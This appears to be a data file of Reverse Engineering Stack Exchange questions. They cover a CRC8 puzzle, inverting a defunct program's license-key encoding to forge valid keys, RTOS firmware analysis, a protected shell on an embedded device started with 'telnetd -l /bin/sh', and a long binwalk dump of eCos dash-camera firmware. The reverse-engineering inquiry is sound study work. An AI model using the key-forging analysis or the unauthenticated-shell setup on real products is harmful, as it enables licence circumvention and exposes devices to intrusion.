+I have taken care of the 7/8 coding, so now I have a block of 3+256 bytes, consisting of: + +I've tried a couple of CRC algorithms (with and without a lookup table), written code to run through all possible 8-bit polynomials, initial and final XOR values, and yet I can't find any parameters that work for more than one block. +Although the manual suggests the CRC byte itself is not included in the CRC calculation, I also tried leaving it in place and setting it to various values like 0x00 and 0xFF however this didn't yield any results either. +Is there anyone with more CRC knowledge than me who is able to figure out what they mean here by "crc8 checksum"? +" +['decryption']," Title: Reversing an encoded key with a given cipher - figuring out the reverse algorithmBody: So I have an ancient application for a company that has since gone bust and I thought I'd look at how it works; it provides a key, and requires a key given to it. Both these keys are encoded in a certain way and then parts of the encoded value are compared for equality. Firstly I'll explain the encoding process as I have remade it in javascript + +This appears to be a caesar cipher in some shape or form and I'm pretty sure it equates to the formula: +C(x) = (P(b - a - x + 284) mod 26) + 48 where
+x = character number
+b = current characters index in alphabet
+a = previous letters index in alphabet + + + +
const alphabet = `SDHACENOIFKXQLBMPJTZURWVGY`
+
+function encodeString(s) {
+    var result = s.charAt(0),
+        lastLetterIdx = alphabet.indexOf(s.charAt(0)) 
+
+    for(let i = 0; i < s.length - 1; i++) {
+        let thisLetterIdx = alphabet.indexOf(s.charAt(i + 1)) 
+        let cypherNum = thisLetterIdx - lastLetterIdx - i
+        cypherNum += 284
+        let modNum = cypherNum % 26
+        let encChar = String.fromCharCode(modNum + 48)
+
+        result += encChar
+
+        lastLetterIdx = thisLetterIdx
+    }
+
+    return result
+}
+
+ +A key provided by the software is
+ALVMGRCTQQEYMNAHDANKPGKPO
+which gets encoded to
+A87>4A26;@8833898:::;<?8B + +The code is then checksumed by skipping the first character and adding the ascii values up, so in this case that number is 1378, mod 25 = 3 and the alphabet character at position 3 (0 indexed) is A which matches the first character of the key. + +For encoding step 2 the software takes characters 1-12 (87>4A26;@883) and encodes it into a number via the following: + + + +
function encodedStringToNumber(str) {
+    var number = 0,
+        letterMulti = 1
+    for(let i = str.length; i > 0; i--) {
+        if(i < str.length)
+            letterMulti = letterMulti * 19
+
+        let letter = str.charCodeAt(i-1)
+        letter -= 48
+        letter *= letterMulti
+
+        number += letter
+    }
+    return number
+}
+
+ +It then converts the number to a string and pads left with 0 to ensure its 15 characters long, after doing that with both half's it string concats the numbers to get a result of
+979440403325666401568800000018 + +If we do the same thing with a random test key I made of VABCDEFGHIJKLMNOPQRSTUVWXYZABK
+we get an encrypted key of
+V48<BHG7EFH7@>2;B4@;G661@>C88B
+that gets checksumd as before and then gets converted to a string with 11 characters from index 1, 11 characters from index 12 and 7 characters from index 23, so: + +
48<BHG7EFH7
+@>2;B4@;G66
+1@>C88B
+
+ +We convert them to numbers then ensure string lengths of 14, 14 and 7 by padding the left with 0 again. So a result of
+2732684617734210265934650819588621338 + +We now split this number and the number provided in the software down to some key elements and compare the values. + +Lets say key A is the software provided key of 979440403325666401568800000018 and key B is the key I'm randomly using of 2732684617734210265934650819588621338 + +From key A take characters (indexes are 1 based here): + +
3-4   (94)
+28-29 (01)
+6-7   (04)
+8-9   (03)
+10-15 (325666)
+5     (4)
+17-22 (015688)
+
+ +From key B take: + +
3-4   (32)
+1-2   (27)
+29-30 (58)
+15-16 (10)
+31-36 (862133)
+28    (9)
+17-22 (265934)
+
+ +Those values need to be the same and as an added check key B 6-8 needs to be ""999"" (i think this is an install flag and 000 is an uninstall flag) + +So with the key given by application I know I need to make a key that encrypts to the following number (where X can be anything):
+0194x999xxxxxx03015688xxxxx404325666x + +This number needs to satisfy the comparisons, have the 999 in the correct place and when encoded as letters needs to validate the checksum mentioned earlier along with each letter of the encoded value being >= '0', by that I mean the ascii value is at or above 48. + +The problem I have is given the way it encrypts the key I can't for the life of me work out how they could make a program which does the reverse, the first step seems easy if I knew how to do modular arithmetic, but converting a number to letters is straight up beyond me. +" +"['ida', 'firmware', 'file-format', 'firmware-analysis', 'operating-systems']"," Title: How to make sense of RTOS in firmware?Body: I am reverse engineering a firmware which has a Linux and an RTOS component. I used binwalk to easily locate the Linux filesystems, extract them, mount them, and now I have binaries which I can open in IDA Pro and continue working on. + +However, I am having a much more difficult time doing this with the RTOS side of the firmware. In my target firmware image, I was able to identify that the RTOS sits above the Linux filesystems in memory address, by performing some string searches for common RTOS-related things. The code is definitely ARM, likely 32 bit, little-endian. This is a Cortex-A7. I saw artifacts which indiciate that it is also likely an ITRON RTOS or perhaps FreeRTOS. But essentially, binwalk extracted 3-4 chunks of ""data"" files which contain all of this. So I am able to get some useful info from looking at string offsets in these chunks. Seeing as most of the data appear to be strings and ARM instructions, I've opened them in IDA Pro. IDA Takes A LONG TIME to parse, but once they're parsed, everything is just data and needs to be manually turned into code. This is where I'm hung-up. I have 2 main questions: + +
    +
  1. Does an RTOS system like this have a proper ""file system"" that I could ""mount"" to view the binaries like I did with the Linux ext and squashfs ones? All filesystems I've ever worked with using binwalk have been Linux ones. What are common RTOS file systems if this is the case?
  2. +
  3. If not, how can I go about viewing the ARM disassembly of these chunks in a legible way using IDA Pro?
  4. +
+" +"['linux', 'embedded']"," Title: Protected shell in embedded linuxBody: When I run telnetd -l /bin/sh on an embedded Linux device and use Putty to telnet to it, the provided shell is /bin/psh (protected shell). + +On this device, /bin/sh is a symbolic link to /bin/busybox. + +Where I can see on this system that /bin/sh redirects to /bin/psh? + +How can I change it if /bin is read only? +" +"['firmware', 'file-format', 'firmware-analysis', 'binwalk']"," Title: Analyzing firmware image (eCos with YAFFS)Body: I'm trying to apply some of the practices I learn in class and online and reverse engineer the firmware of a Chinese dash camera. + +I've downloaded the firmware from their website (Smart dash camera: CA21L) and as a first step I tried to binwalk the firmware. The only ""interesting"" thing I found is a line which indicates that binwalk thinks there's a YAFFS filesystem embedded inside the file: + +
983141        0xF0065         eCos RTOS string reference: ""eCos""
+1503088       0x16EF70        YAFFS filesystem
+1637704       0x18FD48        JPEG image data, JFIF standard 1.02
+
+ +Based on the offsets my guess is that there's a filesystem there. But I couldn't figure out how to mount/extract that because the output I got here is not really the same as for the most ""firmware reversing tutorials"" I've seen where you get ""squashFS"" and a compressed bootloader which binwalk clearly recognized. +Here it seems that besides the small hint of the YAFFS, and a lot of strings indicating an eCos OS is running, I don't really know what to make of the rest of the output. + +I'm turning here because maybe an experienced individual can shed some light on what I'm seeing from the output, how exactly I could extract the file system (if at all) and what does it mean that the system is running eCos (Yes I have googled it but the structure of it is still unclear). + +The first few bytes of the firmware binary: + +
sh@desktop:~/Desktop/camera/smart$ file firmware.bin 
+firmware.bin: data
+sh@desktop:~/Desktop/camera/smart$ hd -v ./firmware.bin | head
+00000000  00 04 00 80 00 00 00 00  00 00 00 00 00 00 00 00  |................|
+00000010  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
+00000020  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
+00000030  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
+00000040  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
+00000050  4e 54 39 36 36 36 30 20  31 30 30 30 30 30 30 30  |NT96660 10000000|
+00000060  32 30 31 30 30 37 30 31  20 7f 76 00 55 aa 67 f9  |20100701 .v.U.g.|
+00000070  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
+00000080  4c 44 3a 47 53 36 36 30  20 20 20 20 20 20 20 20  |LD:GS660        |
+00000090  01 00 00 00 ff ff ff ff  ff ff ff ff 00 00 00 00  |................|
+
+ +The full binwalk output: + +
sh@desktop:~/Desktop/camera/smart$ binwalk ./firmware.bin 
+
+DECIMAL       HEXADECIMAL     DESCRIPTION
+--------------------------------------------------------------------------------
+148610        0x24482         Copyright string: ""Copyright (c) 2014 Novatek Microelectronic Corp.""
+878029        0xD65CD         eCos RTOS string reference: ""eCos_Init must call first.""
+878119        0xD6627         eCos RTOS string reference: ""eCos.""
+879094        0xD69F6         eCos RTOS string reference: ""eCos_ChkValid""
+879110        0xD6A06         eCos RTOS string reference: ""eCos_Close""
+879126        0xD6A16         eCos RTOS string reference: ""eCos_Open""
+879327        0xD6ADF         eCos RTOS string reference: ""ECOS\FW96660T.bin""
+879431        0xD6B47         eCos RTOS string reference: ""ecos bin""
+879548        0xD6BBC         eCos RTOS string reference: ""eCos Utility""
+879580        0xD6BDC         eCos RTOS string reference: ""ECOS\FW96660T.bin to start""
+879623        0xD6C07         eCos RTOS string reference: ""eCos""
+879676        0xD6C3C         eCos RTOS string reference: ""eCos""
+880531        0xD6F93         eCos RTOS string reference: ""eCosCmd_Open""
+884656        0xD7FB0         CRC32 polynomial table, little endian
+947150        0xE73CE         eCos RTOS string reference: ""eCos uncompress. Req: 0x%08X Bytes.""
+962042        0xEADFA         eCos RTOS string reference: ""eCosReadEx""
+962066        0xEAE12         eCos RTOS string reference: ""eCosRead""
+962863        0xEB12F         eCos RTOS string reference: ""eCos partition.""
+963011        0xEB1C3         eCos RTOS string reference: ""ECOS.BIN""
+963168        0xEB260         eCos RTOS string reference: ""ecos""
+963181        0xEB26D         eCos RTOS string reference: ""eCos from EMB""
+964861        0xEB8FD         eCos RTOS string reference: ""eCos""
+969277        0xECA3D         eCos RTOS string reference: ""eCos FW bin...""
+969370        0xECA9A         eCos RTOS string reference: ""eCos FW read failed %d""
+969978        0xECCFA         eCos RTOS string reference: ""eCos form A:\""
+970039        0xECD37         eCos RTOS string reference: ""eCos.""
+970511        0xECF0F         eCos RTOS string reference: ""eCos.""
+970576        0xECF50         eCos RTOS string reference: ""eCos.""
+970610        0xECF72         eCos RTOS string reference: ""eCos form Embedded Storage.""
+970693        0xECFC5         eCos RTOS string reference: ""eCos.""
+970730        0xECFEA         eCos RTOS string reference: ""eCos boot from temp all-in-one bin.""
+983121        0xF0051         eCos RTOS string reference: ""eCosRun""
+983141        0xF0065         eCos RTOS string reference: ""eCos""
+1503088       0x16EF70        YAFFS filesystem
+1637704       0x18FD48        JPEG image data, JFIF standard 1.02
+1637734       0x18FD66        TIFF image data, little-endian offset of first image directory: 8
+1638058       0x18FEAA        JPEG image data, EXIF standard
+1638070       0x18FEB6        TIFF image data, little-endian offset of first image directory: 8
+1648972       0x19294C        JPEG image data, JFIF standard 1.02
+1649002       0x19296A        TIFF image data, little-endian offset of first image directory: 8
+1704134       0x1A00C6        eCos RTOS string reference: ""eCos#1.00.005_Dec  2 2015, 14:52:25_,REV""
+3964736       0x3C7F40        XML document, version: ""1.0""
+3992008       0x3CE9C8        XML document, version: ""1.0""
+3992444       0x3CEB7C        XML document, version: ""1.0""
+3998494       0x3D031E        Unix path: /jenkins/jobs/C10/workspace/NT9666x_SDK/Project/DemoKit/SrcCode/UIApp/Network/WifiJsonFlow.c
+4084725       0x3E53F5        MySQL MISAM index file Version 2
+4085637       0x3E5785        MySQL MISAM index file Version 2
+7122340       0x6CADA4        MySQL MISAM compressed data file Version 4
+7162838       0x6D4BD6        Unix path: /15/20/24/25/30/48/50/60/120/240fps can be served..
+7341779       0x7006D3        Unix path: /DCE_LUT/DCE_FOV/DCE_ENH/DCE_CA are updated
+7555647       0x734A3F        Ubiquiti firmware header, third party, ~CRC32: 0x0, version: ""ING_LOGO""
+7642794       0x749EAA        VxWorks symbol table, big endian, first entry: [type: function, code address: 0x1000, symbol address: 0x500]
+7766216       0x7680C8        eCos kernel exception handler, architecture: MIPSEL, exception vector table base address: 0x8F7D902C
+7767176       0x768488        eCos RTOS string reference: ""ECOSDEMO_001_001""
+7768111       0x76882F        eCos RTOS string reference: ""ECOS#1.00.003_Nov 16 2015, 09:12:53_,REV""
+9434103       0x8FF3F7        eCos RTOS string reference: ""eCos world!!!!!!!!!!""
+9434178       0x8FF442        eCos RTOS string reference: ""eCos scheduling...""
+9439624       0x900988        eCos RTOS string reference: ""ecos-8189es-ap""
+9440531       0x900D13        eCos RTOS string reference: ""ecos""
+9441864       0x901248        eCos RTOS string reference: ""ECOS""
+9444932       0x901E44        Unix path: /cygdrive/c/project-ecos/NT96660/ecos-2.0.6/configs/nt96660.uitron.cygwin_install/include/cyg/memalloc/mempolt2.inl
+9444952       0x901E58        eCos RTOS string reference: ""ecos/NT96660/ecos-2.0.6/configs/nt96660.uitron.cygwin_install/include/cyg/memalloc/mempolt2.inl""
+9444965       0x901E65        eCos RTOS string reference: ""ecos-2.0.6/configs/nt96660.uitron.cygwin_install/include/cyg/memalloc/mempolt2.inl""
+9445112       0x901EF8        eCos RTOS string reference: ""ecos/NT96660/ecos-2.0.6/packages/services/memalloc/common/v2_0_60/src/malloc.cxx""
+9445125       0x901F05        eCos RTOS string reference: ""ecos-2.0.6/packages/services/memalloc/common/v2_0_60/src/malloc.cxx""
+9446048       0x9022A0        Unix path: /cygdrive/c/project-ecos/NT96660/ecos-2.0.6/packages/io/fileio/v2_0_60/src/misc.cxx
+9446068       0x9022B4        eCos RTOS string reference: ""ecos/NT96660/ecos-2.0.6/packages/io/fileio/v2_0_60/src/misc.cxx""
+9446081       0x9022C1        eCos RTOS string reference: ""ecos-2.0.6/packages/io/fileio/v2_0_60/src/misc.cxx""
+9446244       0x902364        eCos RTOS string reference: ""ecos/NT96660/ecos-2.0.6/packages/io/disk/v2_0_60/src/disk.c""
+9446257       0x902371        eCos RTOS string reference: ""ecos-2.0.6/packages/io/disk/v2_0_60/src/disk.c""
+9447564       0x90288C        eCos RTOS string reference: ""eCos does not support daemon option""
+9450526       0x90341E        eCos RTOS string reference: ""ecos threads""
+9457811       0x905093        eCos RTOS string reference: ""ECOS_Open failed""
+9458055       0x905187        eCos RTOS string reference: ""ECOS_CmdLine""
+9458075       0x90519B        eCos RTOS string reference: ""ECOS_Open""
+9471668       0x9086B4        Unix path: /cygdrive/c/project-ecos/NT96660/ecos-2.0.6/packages/infra/v2_0_60/src/tcdiag.cxx
+9471688       0x9086C8        eCos RTOS string reference: ""ecos/NT96660/ecos-2.0.6/packages/infra/v2_0_60/src/tcdiag.cxx""
+9471701       0x9086D5        eCos RTOS string reference: ""ecos-2.0.6/packages/infra/v2_0_60/src/tcdiag.cxx""
+9472136       0x908888        Unix path: /cygdrive/c/project-ecos/NT96660/ecos-2.0.6/configs/nt96660.uitron.cygwin_install/include/cyg/kernel/smp.hxx
+9472156       0x90889C        eCos RTOS string reference: ""ecos/NT96660/ecos-2.0.6/configs/nt96660.uitron.cygwin_install/include/cyg/kernel/smp.hxx""
+9472169       0x9088A9        eCos RTOS string reference: ""ecos-2.0.6/configs/nt96660.uitron.cygwin_install/include/cyg/kernel/smp.hxx""
+9472348       0x90895C        eCos RTOS string reference: ""ecos/NT96660/ecos-2.0.6/configs/nt96660.uitron.cygwin_install/include/cyg/kernel/thread.inl""
+9472361       0x908969        eCos RTOS string reference: ""ecos-2.0.6/configs/nt96660.uitron.cygwin_install/include/cyg/kernel/thread.inl""
+9472520       0x908A08        eCos RTOS string reference: ""ecos/NT96660/ecos-2.0.6/packages/kernel/v2_0_60/src/common/kapi.cxx""
+9472533       0x908A15        eCos RTOS string reference: ""ecos-2.0.6/packages/kernel/v2_0_60/src/common/kapi.cxx""
+9473212       0x908CBC        eCos RTOS string reference: ""ecos/NT96660/ecos-2.0.6/packages/kernel/v2_0_60/src/common/thread.cxx""
+9473225       0x908CC9        eCos RTOS string reference: ""ecos-2.0.6/packages/kernel/v2_0_60/src/common/thread.cxx""
+9474168       0x909078        Unix path: /cygdrive/c/project-ecos/NT96660/ecos-2.0.6/packages/kernel/v2_0_60/src/common/except.cxx
+9474188       0x90908C        eCos RTOS string reference: ""ecos/NT96660/ecos-2.0.6/packages/kernel/v2_0_60/src/common/except.cxx""
+9474201       0x909099        eCos RTOS string reference: ""ecos-2.0.6/packages/kernel/v2_0_60/src/common/except.cxx""
+9474568       0x909208        eCos RTOS string reference: ""ecos/NT96660/ecos-2.0.6/packages/kernel/v2_0_60/src/intr/intr.cxx""
+9474581       0x909215        eCos RTOS string reference: ""ecos-2.0.6/packages/kernel/v2_0_60/src/intr/intr.cxx""
+9475288       0x9094D8        eCos RTOS string reference: ""ecos/NT96660/ecos-2.0.6/packages/kernel/v2_0_60/src/sched/mlqueue.cxx""
+9475301       0x9094E5        eCos RTOS string reference: ""ecos-2.0.6/packages/kernel/v2_0_60/src/sched/mlqueue.cxx""
+9476040       0x9097C8        eCos RTOS string reference: ""ecos/NT96660/ecos-2.0.6/packages/kernel/v2_0_60/src/sched/sched.cxx""
+9476053       0x9097D5        eCos RTOS string reference: ""ecos-2.0.6/packages/kernel/v2_0_60/src/sched/sched.cxx""
+9476844       0x909AEC        eCos RTOS string reference: ""ecos/NT96660/ecos-2.0.6/packages/kernel/v2_0_60/src/sync/cnt_sem.cxx""
+9476857       0x909AF9        eCos RTOS string reference: ""ecos-2.0.6/packages/kernel/v2_0_60/src/sync/cnt_sem.cxx""
+9477032       0x909BA8        eCos RTOS string reference: ""ecos/NT96660/ecos-2.0.6/packages/kernel/v2_0_60/src/sync/flag.cxx""
+9477045       0x909BB5        eCos RTOS string reference: ""ecos-2.0.6/packages/kernel/v2_0_60/src/sync/flag.cxx""
+9477420       0x909D2C        eCos RTOS string reference: ""ecos/NT96660/ecos-2.0.6/configs/nt96660.uitron.cygwin_install/include/cyg/kernel/mboxt2.inl""
+9477433       0x909D39        eCos RTOS string reference: ""ecos-2.0.6/configs/nt96660.uitron.cygwin_install/include/cyg/kernel/mboxt2.inl""
+9478044       0x909F9C        eCos RTOS string reference: ""ecos/NT96660/ecos-2.0.6/packages/kernel/v2_0_60/src/sync/mutex.cxx""
+9478057       0x909FA9        eCos RTOS string reference: ""ecos-2.0.6/packages/kernel/v2_0_60/src/sync/mutex.cxx""
+9478852       0x90A2C4        Unix path: /cygdrive/c/project-ecos/NT96660/ecos-2.0.6/packages/services/memalloc/common/v2_0_60/src/dlmalloc.cxx
+9478872       0x90A2D8        eCos RTOS string reference: ""ecos/NT96660/ecos-2.0.6/packages/services/memalloc/common/v2_0_60/src/dlmalloc.cxx""
+9478885       0x90A2E5        eCos RTOS string reference: ""ecos-2.0.6/packages/services/memalloc/common/v2_0_60/src/dlmalloc.cxx""
+9480844       0x90AA8C        eCos RTOS string reference: ""ecos/NT96660/ecos-2.0.6/configs/nt96660.uitron.cygwin_install/include/cyg/libc/stdio/stdiofiles.inl""
+9480857       0x90AA99        eCos RTOS string reference: ""ecos-2.0.6/configs/nt96660.uitron.cygwin_install/include/cyg/libc/stdio/stdiofiles.inl""
+9481020       0x90AB3C        eCos RTOS string reference: ""ecos/NT96660/ecos-2.0.6/configs/nt96660.uitron.cygwin_install/include/cyg/libc/stdio/stream.inl""
+9481033       0x90AB49        eCos RTOS string reference: ""ecos-2.0.6/configs/nt96660.uitron.cygwin_install/include/cyg/libc/stdio/stream.inl""
+9481608       0x90AD88        eCos RTOS string reference: ""ecos/NT96660/ecos-2.0.6/configs/nt96660.uitron.cygwin_install/include/cyg/libc/stdio/streambuf.inl""
+9481621       0x90AD95        eCos RTOS string reference: ""ecos-2.0.6/configs/nt96660.uitron.cygwin_install/include/cyg/libc/stdio/streambuf.inl""
+9481796       0x90AE44        eCos RTOS string reference: ""ecos/NT96660/ecos-2.0.6/packages/language/c/libc/stdio/v2_0_60/src/common/stream.cxx""
+9481809       0x90AE51        eCos RTOS string reference: ""ecos-2.0.6/packages/language/c/libc/stdio/v2_0_60/src/common/stream.cxx""
+9485076       0x90BB14        Unix path: /cygdrive/c/project-ecos/NT96660/ecos-2.0.6/packages/language/c/libc/stdlib/v2_0_60/src/getenv.cxx
+9485096       0x90BB28        eCos RTOS string reference: ""ecos/NT96660/ecos-2.0.6/packages/language/c/libc/stdlib/v2_0_60/src/getenv.cxx""
+9485109       0x90BB35        eCos RTOS string reference: ""ecos-2.0.6/packages/language/c/libc/stdlib/v2_0_60/src/getenv.cxx""
+9485396       0x90BC54        eCos RTOS string reference: ""ecos/NT96660/ecos-2.0.6/packages/language/c/libc/string/v2_0_60/src/strtok.cxx""
+9485409       0x90BC61        eCos RTOS string reference: ""ecos-2.0.6/packages/language/c/libc/string/v2_0_60/src/strtok.cxx""
+9485592       0x90BD18        eCos RTOS string reference: ""ecos/NT96660/ecos-2.0.6/packages/language/c/libc/time/v2_0_60/src/strftime.cxx""
+9485605       0x90BD25        eCos RTOS string reference: ""ecos-2.0.6/packages/language/c/libc/time/v2_0_60/src/strftime.cxx""
+9486484       0x90C094        eCos RTOS string reference: ""ecos/NT96660/ecos-2.0.6/packages/language/c/libc/time/v2_0_60/src/timeutil.cxx""
+9486497       0x90C0A1        eCos RTOS string reference: ""ecos-2.0.6/packages/language/c/libc/time/v2_0_60/src/timeutil.cxx""
+9486612       0x90C114        eCos RTOS string reference: ""ecos/NT96660/ecos-2.0.6/configs/nt96660.uitron.cygwin_install/include/cyg/libc/stdlib/div.inl""
+9486625       0x90C121        eCos RTOS string reference: ""ecos-2.0.6/configs/nt96660.uitron.cygwin_install/include/cyg/libc/stdlib/div.inl""
+9490172       0x90CEFC        eCos RTOS string reference: ""ecos/NT96660/ecos-2.0.6/packages/hal/mips/arch/v2_0_60/src/hal_misc.c""
+9490185       0x90CF09        eCos RTOS string reference: ""ecos-2.0.6/packages/hal/mips/arch/v2_0_60/src/hal_misc.c""
+9490300       0x90CF7C        Unix path: /cygdrive/c/project-ecos/NT96660/ecos-2.0.6/packages/compat/posix/v2_0_60/src/pthread.cxx
+9490320       0x90CF90        eCos RTOS string reference: ""ecos/NT96660/ecos-2.0.6/packages/compat/posix/v2_0_60/src/pthread.cxx""
+9490333       0x90CF9D        eCos RTOS string reference: ""ecos-2.0.6/packages/compat/posix/v2_0_60/src/pthread.cxx""
+9490868       0x90D1B4        eCos RTOS string reference: ""ecos/NT96660/ecos-2.0.6/packages/compat/posix/v2_0_60/src/time.cxx""
+9490881       0x90D1C1        eCos RTOS string reference: ""ecos-2.0.6/packages/compat/posix/v2_0_60/src/time.cxx""
+9491104       0x90D2A0        eCos RTOS string reference: ""ecos/NT96660/ecos-2.0.6/packages/compat/posix/v2_0_60/src/signal.cxx""
+9491117       0x90D2AD        eCos RTOS string reference: ""ecos-2.0.6/packages/compat/posix/v2_0_60/src/signal.cxx""
+9491432       0x90D3E8        Unix path: /cygdrive/c/project-ecos/NT96660/ecos-2.0.6/packages/io/fileio/v2_0_60/src/file.cxx
+9491452       0x90D3FC        eCos RTOS string reference: ""ecos/NT96660/ecos-2.0.6/packages/io/fileio/v2_0_60/src/file.cxx""
+9491465       0x90D409        eCos RTOS string reference: ""ecos-2.0.6/packages/io/fileio/v2_0_60/src/file.cxx""
+9491852       0x90D58C        eCos RTOS string reference: ""ecos/NT96660/ecos-2.0.6/packages/io/fileio/v2_0_60/src/dir.cxx""
+9491865       0x90D599        eCos RTOS string reference: ""ecos-2.0.6/packages/io/fileio/v2_0_60/src/dir.cxx""
+9492048       0x90D650        Unix path: /cygdrive/c/project-ecos/NT96660/ecos-2.0.6/packages/net/common/v2_0_60/src/dhcp_prot.c
+9492068       0x90D664        eCos RTOS string reference: ""ecos/NT96660/ecos-2.0.6/packages/net/common/v2_0_60/src/dhcp_prot.c""
+9492081       0x90D671        eCos RTOS string reference: ""ecos-2.0.6/packages/net/common/v2_0_60/src/dhcp_prot.c""
+9495328       0x90E320        Unix path: /cygdrive/c/project-ecos/NT96660/ecos-2.0.6/packages/net/bsd_tcpip/v2_0_60/src/ecos/support.c
+9495348       0x90E334        eCos RTOS string reference: ""ecos/NT96660/ecos-2.0.6/packages/net/bsd_tcpip/v2_0_60/src/ecos/support.c""
+9495361       0x90E341        eCos RTOS string reference: ""ecos-2.0.6/packages/net/bsd_tcpip/v2_0_60/src/ecos/support.c""
+9495407       0x90E36F        eCos RTOS string reference: ""ecos/support.c""
+9496188       0x90E67C        eCos RTOS string reference: ""eCos_node""
+9496344       0x90E718        Unix path: /cygdrive/c/project-ecos/NT96660/ecos-2.0.6/packages/net/bsd_tcpip/v2_0_60/src/ecos/synch.c
+9496364       0x90E72C        eCos RTOS string reference: ""ecos/NT96660/ecos-2.0.6/packages/net/bsd_tcpip/v2_0_60/src/ecos/synch.c""
+9496377       0x90E739        eCos RTOS string reference: ""ecos-2.0.6/packages/net/bsd_tcpip/v2_0_60/src/ecos/synch.c""
+9496423       0x90E767        eCos RTOS string reference: ""ecos/synch.c""
+9496712       0x90E888        eCos RTOS string reference: ""ecos/NT96660/ecos-2.0.6/packages/net/bsd_tcpip/v2_0_60/src/ecos/timeout.c""
+9496725       0x90E895        eCos RTOS string reference: ""ecos-2.0.6/packages/net/bsd_tcpip/v2_0_60/src/ecos/timeout.c""
+9496771       0x90E8C3        eCos RTOS string reference: ""ecos/timeout.c""
+9502064       0x90FD70        Unix path: /cygdrive/c/project-ecos/NT96660/ecos-2.0.6/packages/compat/uitron/v2_0_60/src/uit_ifnc.cxx
+9502084       0x90FD84        eCos RTOS string reference: ""ecos/NT96660/ecos-2.0.6/packages/compat/uitron/v2_0_60/src/uit_ifnc.cxx""
+9502097       0x90FD91        eCos RTOS string reference: ""ecos-2.0.6/packages/compat/uitron/v2_0_60/src/uit_ifnc.cxx""
+9502996       0x910114        Unix path: /cygdrive/c/project-ecos/NT96660/ecos-2.0.6/packages/net/ns/dns/v2_0_60/src/dns.c
+9503016       0x910128        eCos RTOS string reference: ""ecos/NT96660/ecos-2.0.6/packages/net/ns/dns/v2_0_60/src/dns.c""
+9503029       0x910135        eCos RTOS string reference: ""ecos-2.0.6/packages/net/ns/dns/v2_0_60/src/dns.c""
+9503332       0x910264        Unix path: /cygdrive/c/project-ecos/NT96660/ecos-2.0.6/packages/kernel/v2_0_60/src/common/clock.cxx
+9503352       0x910278        eCos RTOS string reference: ""ecos/NT96660/ecos-2.0.6/packages/kernel/v2_0_60/src/common/clock.cxx""
+9503365       0x910285        eCos RTOS string reference: ""ecos-2.0.6/packages/kernel/v2_0_60/src/common/clock.cxx""
+9503952       0x9104D0        eCos RTOS string reference: ""ecos/NT96660/ecos-2.0.6/configs/nt96660.uitron.cygwin_install/include/cyg/memalloc/mfiximpl.inl""
+9503965       0x9104DD        eCos RTOS string reference: ""ecos-2.0.6/configs/nt96660.uitron.cygwin_install/include/cyg/memalloc/mfiximpl.inl""
+9504976       0x9108D0        eCos RTOS string reference: ""ecos/NT96660/ecos-2.0.6/packages/services/memalloc/common/v2_0_60/src/kapi.cxx""
+9504989       0x9108DD        eCos RTOS string reference: ""ecos-2.0.6/packages/services/memalloc/common/v2_0_60/src/kapi.cxx""
+9505136       0x910970        eCos RTOS string reference: ""ecos/NT96660/ecos-2.0.6/packages/language/c/libc/startup/v2_0_60/src/_exit.cxx""
+9505149       0x91097D        eCos RTOS string reference: ""ecos-2.0.6/packages/language/c/libc/startup/v2_0_60/src/_exit.cxx""
+9505300       0x910A14        eCos RTOS string reference: ""ecos/NT96660/ecos-2.0.6/packages/language/c/libc/startup/v2_0_60/src/invokemain.cxx""
+9505313       0x910A21        eCos RTOS string reference: ""ecos-2.0.6/packages/language/c/libc/startup/v2_0_60/src/invokemain.cxx""
+9505472       0x910AC0        eCos RTOS string reference: ""ecos/NT96660/ecos-2.0.6/packages/language/c/libc/startup/v2_0_60/src/main.cxx""
+9505485       0x910ACD        eCos RTOS string reference: ""ecos-2.0.6/packages/language/c/libc/startup/v2_0_60/src/main.cxx""
+9506128       0x910D50        Unix path: /cygdrive/c/project-ecos/NT96660/ecos-2.0.6/packages/io/eth/v2_0_60/src/net/eth_drv.c
+9506148       0x910D64        eCos RTOS string reference: ""ecos/NT96660/ecos-2.0.6/packages/io/eth/v2_0_60/src/net/eth_drv.c""
+9506161       0x910D71        eCos RTOS string reference: ""ecos-2.0.6/packages/io/eth/v2_0_60/src/net/eth_drv.c""
+9509540       0x911AA4        Unix path: /cygdrive/c/project-ecos/NT96660/ecos-2.0.6/configs/nt96660.uitron.cygwin_install/include/cyg/memalloc/mvarimpl.inl
+9509560       0x911AB8        eCos RTOS string reference: ""ecos/NT96660/ecos-2.0.6/configs/nt96660.uitron.cygwin_install/include/cyg/memalloc/mvarimpl.inl""
+9509573       0x911AC5        eCos RTOS string reference: ""ecos-2.0.6/configs/nt96660.uitron.cygwin_install/include/cyg/memalloc/mvarimpl.inl""
+9510764       0x911F6C        eCos RTOS string reference: ""ecos/NT96660/ecos-2.0.6/packages/language/c/libc/startup/v2_0_60/src/atexit.cxx""
+9510777       0x911F79        eCos RTOS string reference: ""ecos-2.0.6/packages/language/c/libc/startup/v2_0_60/src/atexit.cxx""
+9511328       0x9121A0        eCos RTOS string reference: ""ecos p ""
+9512114       0x9124B2        eCos RTOS string reference: ""ecos=0x%x""
+9515207       0x9130C7        eCos RTOS string reference: ""ECOS_CmdLine""
+9515227       0x9130DB        eCos RTOS string reference: ""ECOS_Open""
+9515247       0x9130EF        eCos RTOS string reference: ""ECOS_Mount""
+9515267       0x913103        eCos RTOS string reference: ""ECOS_Umount""
+9516040       0x913408        HTML document header
+9517351       0x913927        HTML document footer
+9519824       0x9142D0        HTML document header
+9519933       0x91433D        HTML document footer
+9519944       0x914348        HTML document header
+9520064       0x9143C0        HTML document footer
+9520480       0x914560        eCos RTOS string reference: ""eCos/1.0""
+9523675       0x9151DB        eCos RTOS string reference: ""ECOS_CmdLine""
+9523695       0x9151EF        eCos RTOS string reference: ""ECOS_Open""
+9525414       0x9158A6        eCos RTOS string reference: ""ECOS_CmdLine""
+9525438       0x9158BE        eCos RTOS string reference: ""ECOS_Open""
+9547888       0x91B070        Base64 standard index table
+9549256       0x91B5C8        Unix path: /cygdrive/d/Firmware/__svn/ecos-kit/ThirdParty/eCos/include/cyg/libc/time/time.inl
+9549283       0x91B5E3        eCos RTOS string reference: ""ecos-kit/ThirdParty/eCos/include/cyg/libc/time/time.inl""
+9549303       0x91B5F7        eCos RTOS string reference: ""eCos/include/cyg/libc/time/time.inl""
